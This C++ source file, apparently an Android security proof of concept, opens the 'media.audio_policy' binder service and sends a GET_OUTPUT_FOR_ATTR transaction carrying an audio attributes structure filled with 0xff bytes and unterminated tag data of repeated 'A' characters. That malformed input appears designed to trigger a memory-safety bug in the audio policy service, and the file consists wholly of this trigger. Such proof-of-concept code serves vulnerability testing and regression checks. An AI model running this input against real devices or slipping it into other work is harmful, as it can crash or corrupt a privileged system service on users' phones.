/**
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 **/
#include <binder/IServiceManager.h>
#include <binder/Parcel.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <system/audio.h>
#include <utils/String16.h>

using namespace android;

enum {
  SET_DEVICE_CONNECTION_STATE = IBinder::FIRST_CALL_TRANSACTION,
  GET_DEVICE_CONNECTION_STATE,
  HANDLE_DEVICE_CONFIG_CHANGE,
  SET_PHONE_STATE,
  SET_RINGER_MODE,
  SET_FORCE_USE,
  GET_FORCE_USE,
  GET_OUTPUT,
  START_OUTPUT,
  STOP_OUTPUT,
  RELEASE_OUTPUT,
  GET_INPUT_FOR_ATTR,
  START_INPUT,
  STOP_INPUT,
  RELEASE_INPUT,
  INIT_STREAM_VOLUME,
  SET_STREAM_VOLUME,
  GET_STREAM_VOLUME,
  GET_STRATEGY_FOR_STREAM,
  GET_OUTPUT_FOR_EFFECT,
  REGISTER_EFFECT,
  UNREGISTER_EFFECT,
  IS_STREAM_ACTIVE,
  IS_SOURCE_ACTIVE,
  GET_DEVICES_FOR_STREAM,
  QUERY_DEFAULT_PRE_PROCESSING,
  SET_EFFECT_ENABLED,
  IS_STREAM_ACTIVE_REMOTELY,
  IS_OFFLOAD_SUPPORTED,
  LIST_AUDIO_PORTS,
  GET_AUDIO_PORT,
  CREATE_AUDIO_PATCH,
  RELEASE_AUDIO_PATCH,
  LIST_AUDIO_PATCHES,
  SET_AUDIO_PORT_CONFIG,
  REGISTER_CLIENT,
  GET_OUTPUT_FOR_ATTR,
  ACQUIRE_SOUNDTRIGGER_SESSION,
  RELEASE_SOUNDTRIGGER_SESSION,
  GET_PHONE_STATE,
  REGISTER_POLICY_MIXES,
  START_AUDIO_SOURCE,
  STOP_AUDIO_SOURCE,
  SET_AUDIO_PORT_CALLBACK_ENABLED,
  SET_MASTER_MONO,
  GET_MASTER_MONO,
};

int getOutputForAttr() {
  sp<IServiceManager> sm = defaultServiceManager();
  sp<IBinder> binder = sm->getService(String16("media.audio_policy"));
  Parcel data, reply;
  data.writeInterfaceToken(String16("android.media.IAudioPolicyService"));
  data.writeInt32(1);
  audio_attributes_t attr;
  memset(&attr, 0xff, sizeof(attr));
  attr.flags = AUDIO_FLAG_NONE;
  memset(attr.tags, 0x41, AUDIO_ATTRIBUTES_TAGS_MAX_SIZE);
  data.write(&attr, sizeof(attr));
  binder->transact(GET_OUTPUT_FOR_ATTR, data, &reply, 0);
  return 0;
}

int main() {
  getOutputForAttr();
  return 0;
}